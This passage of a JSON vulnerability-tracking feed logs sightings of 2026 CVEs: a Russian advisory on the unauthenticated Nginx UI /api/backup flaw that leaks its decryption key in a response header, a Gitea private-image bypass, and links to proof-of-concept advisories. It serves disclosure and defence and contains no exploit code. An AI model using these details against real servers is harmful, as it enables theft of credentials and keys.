\u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b CVE-2026-27944.\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0421\u041a\u0418\u041f\u0410 PentOps \u0431\u044b\u043b\u0438 \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b.\n\n\ud83e\udde0 \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f\n\u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0444\u0438\u043b\u044c\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 (GitHub)  \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u043f\u0440\u044f\u043c\u043e\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443, \u0440\u0438\u0441\u043a \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0437\u043b\u043e\u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0441\u043e\u043a.\n\n\ud83d\udca5 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u2022 \u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: Nginx UI \u0434\u043e 2.3.3 (\u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u044f).\n\u2022 \u0422\u0438\u043f: \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 + \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u043a\u043b\u044e\u0447\u0430 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f (CWE-306, CWE-311).\n\u2022 \u041a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442: \u043f\u0443\u0442\u044c /api/backup.\n\u2022 \u041f\u0440\u0438\u0447\u0438\u043d\u0430: \u043f\u0443\u0442\u044c /api/backup \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041f\u0440\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u0434\u0430\u0451\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u0443\u044e \u043a\u043e\u043f\u0438\u044e \u0432\u0441\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043a\u043b\u044e\u0447 \u0434\u0435\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 HTTP X-Backup-Security. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435 SSL-\u043a\u043b\u044e\u0447\u0438, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Nginx.\n\n\ud83d\udd0d \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438\n\u2022 \u0417\u0430\u043f\u0440\u043e\u0441\u044b \u043a /api/backup \u043e\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432.\n\u2022 \u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 X-Backup-Security \u0432 \u043b\u043e\u0433\u0430\u0445 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 (access-\u043b\u043e\u0433\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043a\u0441\u0438\u2011\u0441\u0435\u0440\u0432\u0435\u0440\u0430).\n\u2022 \u0410\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u044b HTTP \u043e\u0442 Nginx UI (\u043f\u043e\u043b\u043d\u0430\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u0432\u0435\u0441\u0438\u0442\u044c \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u041c\u0411).\n\u2022 \u041f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0441 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 (\u043f\u0440\u0438\u0437\u043d\u0430\u043a \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0443\u0436\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0430).\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 Nginx UI \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 2.3.3 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435.\n2. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u044c\u0442\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Nginx UI \u2014 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430; \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u043d\u0443\u044e \u0441\u0435\u0442\u044c (VPN) \u0438\u043b\u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432.\n3. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043b\u043e\u0433\u0438 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043a /api/backup \u2014 \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442, \u0432\u044b\u0441\u043e\u043a\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.\n4. \u0420\u043e\u0442\u0438\u0440\u0443\u0439\u0442\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b: \u0441\u043c\u0435\u043d\u0438\u0442\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Nginx UI, \u043f\u0435\u0440\u0435\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u0435 SSL-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b \u0438 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0435 \u0442\u043e\u043a\u0435\u043d\u044b.\n5. \u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0439\u0442\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a /api/backup \u0438 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 X-Backup-Security \u0432 \u043e\u0442\u0432\u0435\u0442\u0430\u0445 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (WAF) \u0438\u043b\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043a\u0441\u0438\u2011\u0441\u0435\u0440\u0432\u0435\u0440\u0430.", "creation_timestamp": "2026-08-05T00:00:36.175230Z"}, {"uuid": "3d2aa41c-4f32-4c52-aea6-ae8a89593b84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27384", "type": "seen", "source": "https://t.me/GithubRedTeam/85938", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27384\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a xxconi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-26 08:45:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-26T09:00:05.000000Z"}, {"uuid": "ab7412d1-8f7f-4742-9b2c-ecee34ac53a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27427", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmquylwq7m2n", "content": "CVE-2026-27427 - WordPress Geo Mashup plugin\nCVE ID : CVE-2026-27427\n \n Published : May 26, 2026, 8:19 a.m. | 2\u00a0hours, 12\u00a0minutes ago\n \n Description : Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dylan Kuhn Geo Mashup al...", "creation_timestamp": "2026-05-26T11:24:31.627294Z"}, {"uuid": "38a2906b-7f05-4508-af4f-efae83969421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27331", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mms3jehql42k", "content": "CVE-2026-27331 - WordPress WpTravelly plugin\nCVE ID : CVE-2026-27331\n \n Published : May 26, 2026, 8:16 p.m. | 15\u00a0minutes ago\n \n Description : Missing Authorization vulnerability in Magepeople inc. WpTravelly allows Exploiting Incorrectly Configured Access Control Security Leve...", "creation_timestamp": "2026-05-26T22:53:56.143416Z"}, {"uuid": "c47d2a78-b7f4-48ef-a64a-f02d0795d47f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/sec-news-bot.bsky.social/post/3mmthkxnatz2o", "content": "Gitea\u8106\u5f31\u6027\u3001\u8a8d\u8a3c\u306a\u3057\u306730,000\u30c7\u30d7\u30ed\u30a4\u306e\u30d7\u30e9\u30a4\u30d9\u30fc\u30c8\u30b3\u30f3\u30c6\u30ca\u30a4\u30e1\u30fc\u30b8\u3092\u516c\u958b\n\nGitea \u306e CVE-2026-27771 \u306b\u3088\u308a\u3001\u8a8d\u8a3c\u306a\u3057\u3067\u30d7\u30e9\u30a4\u30d9\u30fc\u30c8\u30b3\u30f3\u30c6\u30ca\u30a4\u30e1\u30fc\u30b8\u306b\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u306a\u8106\u5f31\u6027\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002\u7d0430,000\u306e\u30c7\u30d7\u30ed\u30a4\u30e1\u30f3\u30c8\u304c\u5f71\u97ff\u3092\u53d7\u3051\u3001\u4e16\u754c\u4e2d\u3067\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u306e\u30ea\u30b9\u30af\u304c\u751f\u3058\u3066\u3044\u307e\u3059\u3002\u81f3\u6025\u306e\u30d1\u30c3\u30c1\u9069\u7528\u304c\u5fc5\u8981\u3067\u3059\u3002\n\n#\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9 #CVE #\u8106\u5f31\u6027", "creation_timestamp": "2026-05-27T12:02:14.831583Z"}, {"uuid": "c40df4a5-0c94-4cfd-b2f8-93da3cd79b85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mmticw7cvf2a", "content": "Gitea 1.26.2\u672a\u6e80\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u3001\u8a8d\u8a3c\u306a\u3057\u306b\u30d7\u30e9\u30a4\u30d9\u30fc\u30c8\u30b3\u30f3\u30c6\u30ca\u30a4\u30e1\u30fc\u30b8\u304c\u6f0f\u6d29\u3059\u308b\u8106\u5f31\u6027\uff08CVE-2026-27771\uff09\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002", "creation_timestamp": "2026-05-27T12:15:42.706791Z"}, {"uuid": "7c1e9c5c-d8cf-4edc-b022-9489e6017c8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://thehackernews.com/2026/05/gitea-vulnerability-exposes-private.html", "content": "Cybersecurity researchers have disclosed a security flaw in Gitea, an open-source, self-hosted platform for version control, that allows unauthenticated remote attackers to pull private container images from Gitea deployments without requiring an account, password, or other credentials.\n\nThe vulnerability, tracked as CVE-2026-27771 (CVSS score: N/A), affects all versions of Gitea prior to 1.26.2", "creation_timestamp": "2026-05-27T08:06:32.000000Z"}, {"uuid": "e79ebf0a-0952-4bcf-b325-8d48dc249a5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27964", "type": "published-proof-of-concept", "source": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-gq5c-rw37-g46c", "content": "", "creation_timestamp": "2026-05-07T14:36:39.000000Z"}, {"uuid": "7691aec1-ccc2-43d8-9341-ee8756afc6d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2728", "type": "published-proof-of-concept", "source": "https://github.com/librenms/librenms/security/advisories/GHSA-5gm9-622f-qcg5", "content": "", "creation_timestamp": "2026-05-12T00:21:23.000000Z"}, {"uuid": "3e99810e-0dff-4c79-b882-815b32e3c56e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27478", "type": "published-proof-of-concept", "source": "https://github.com/unitycatalog/unitycatalog/security/advisories/GHSA-qqcj-rghw-829x", "content": "", "creation_timestamp": "2026-03-11T19:12:17.000000Z"}, {"uuid": "b1007ed9-3427-4626-ae5c-22943e3a3e91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://t.me/GithubRedTeam/86139", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27771\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a portbuster1337\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-27 15:56:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-27771 - Gitea/Forgejo Container Registry Auth Bypass Exploit PoC - Pull private container images without authentication\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-27T16:00:06.000000Z"}, {"uuid": "fccaa39a-cc92-4edd-8b7c-b4765a81361e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2742", "type": "seen", "source": "https://bsky.app/profile/hackinghub.bsky.social/post/3mmu3o5rvev2e", "content": "Vaadin treats the request as a framework request, triggers initialization, and creates a session without proper authorization.\n\nThis is CVE-2026-2742: unauthorized session creation via reserved framework path access.", "creation_timestamp": "2026-05-27T18:01:56.285277Z"}, {"uuid": "03387880-47ff-43b5-90eb-374b0249c946", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://t.me/thehackernews/9089", "content": "\ud83d\udea8 Gitea flaw exposes private container images without authentication.\n\nhttps://thehackernews.com/2026/05/gitea-vulnerability-exposes-private.html\n\nCVE-2026-27771 affects all Gitea versions before 1.26.2 and likely impacts 30,000+ deployments worldwide. Attackers can pull private images without an account or password.\n\nUpdate now or enable REQUIRE_SIGNIN_VIEW as a temporary workaround.", "creation_timestamp": "2026-05-27T10:09:05.000000Z"}, {"uuid": "7751f879-ff17-41e7-a874-b4096c5642ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27599", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-66m2-v9v9-95c3", "content": "", "creation_timestamp": "2026-03-30T16:19:05.000000Z"}, {"uuid": "cf8e33c4-a60d-4d75-b33c-4d67772138e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27611", "type": "published-proof-of-concept", "source": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-8vrh-3pm2-v4v6", "content": "", "creation_timestamp": "2026-02-21T16:35:55.000000Z"}, {"uuid": "d35713c2-be22-4638-bc13-747d761599c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27835", "type": "published-proof-of-concept", "source": "https://github.com/wger-project/wger/security/advisories/GHSA-xf68-8hjw-7mpm", "content": "", "creation_timestamp": "2026-02-26T14:41:01.000000Z"}, {"uuid": "21a5a93a-4042-4238-9059-28ec9ab3b1e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27839", "type": "published-proof-of-concept", "source": "https://github.com/wger-project/wger/security/advisories/GHSA-g8gc-6c4h-jg86", "content": "", "creation_timestamp": "2026-02-26T14:40:50.000000Z"}, {"uuid": "b4ae705e-4754-4ca7-813c-35123f524c80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27838", "type": "published-proof-of-concept", "source": "https://github.com/wger-project/wger/security/advisories/GHSA-42cr-w2gr-m54q", "content": "", "creation_timestamp": "2026-02-26T14:40:58.000000Z"}, {"uuid": "c0a79b3e-a914-4178-82cf-1906af46cc9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27489", "type": "published-proof-of-concept", "source": "https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73", "content": "", "creation_timestamp": "2026-03-31T15:56:11.000000Z"}, {"uuid": "da547623-c756-4e23-8ab1-0bf859685583", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27461", "type": "published-proof-of-concept", "source": "https://github.com/pimcore/pimcore/security/advisories/GHSA-vxg3-v4p6-f3fp", "content": "", "creation_timestamp": "2026-02-23T09:10:51.000000Z"}, {"uuid": "24b02fa4-6de0-4cf3-965a-2c36ded0f836", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27622", "type": "published-proof-of-concept", "source": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-cr4v-6jm6-4963", "content": "", "creation_timestamp": "2026-03-02T02:13:35.000000Z"}, {"uuid": "c73e6351-e12b-471b-b7e7-7e5c812f25c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27889", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-pq2q-rcw4-3hr6", "content": "", "creation_timestamp": "2026-03-25T17:07:51.000000Z"}, {"uuid": "56068c84-b9c2-41d6-bf20-5344b49c624a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27602", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-wwv8-cqpr-vx3m", "content": "", "creation_timestamp": "2026-03-25T17:03:37.000000Z"}, {"uuid": "d83785a4-835a-4d71-ae72-3143b39a45bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27826", "type": "published-proof-of-concept", "source": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-7r34-79r5-rcc9", "content": "", "creation_timestamp": "2026-02-24T11:57:17.000000Z"}, {"uuid": "4567d552-ec89-47aa-ad48-34ff1ca17477", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27953", "type": "published-proof-of-concept", "source": "https://github.com/ormar-orm/ormar/security/advisories/GHSA-f964-whrq-44h8", "content": "", "creation_timestamp": "2026-03-19T15:05:45.000000Z"}, {"uuid": "a0b6729b-6a8f-4caf-b1de-b44fe2595745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27944", "type": "published-proof-of-concept", "source": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762", "content": "", "creation_timestamp": "2026-03-05T13:48:56.000000Z"}, {"uuid": "ea109292-a0c3-420e-ab0e-554e0960b618", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27801", "type": "published-proof-of-concept", "source": "https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-v6pg-v89r-w8wr", "content": "", "creation_timestamp": "2026-03-04T18:57:19.000000Z"}, {"uuid": "10bd70e7-79fb-4e4d-a289-5cc1fadae404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27932", "type": "published-proof-of-concept", "source": "https://github.com/authlib/joserfc/security/advisories/GHSA-w5r5-m38g-f9f9", "content": "", "creation_timestamp": "2026-02-28T07:48:01.000000Z"}, {"uuid": "e821f1fd-df36-4b0b-97b5-5d2f7519de5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27962", "type": "published-proof-of-concept", "source": "https://github.com/authlib/authlib/security/advisories/GHSA-wvwj-cvrp-7pv5", "content": "", "creation_timestamp": "2026-03-15T17:47:59.000000Z"}, {"uuid": "b87e4258-806c-49dc-bbe3-854fe2891201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27825", "type": "published-proof-of-concept", "source": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4", "content": "", "creation_timestamp": "2026-02-24T11:57:12.000000Z"}, {"uuid": "93b8dbde-c6f0-4fec-81aa-60afb0622eae", "vulnerability_lookup_origin": 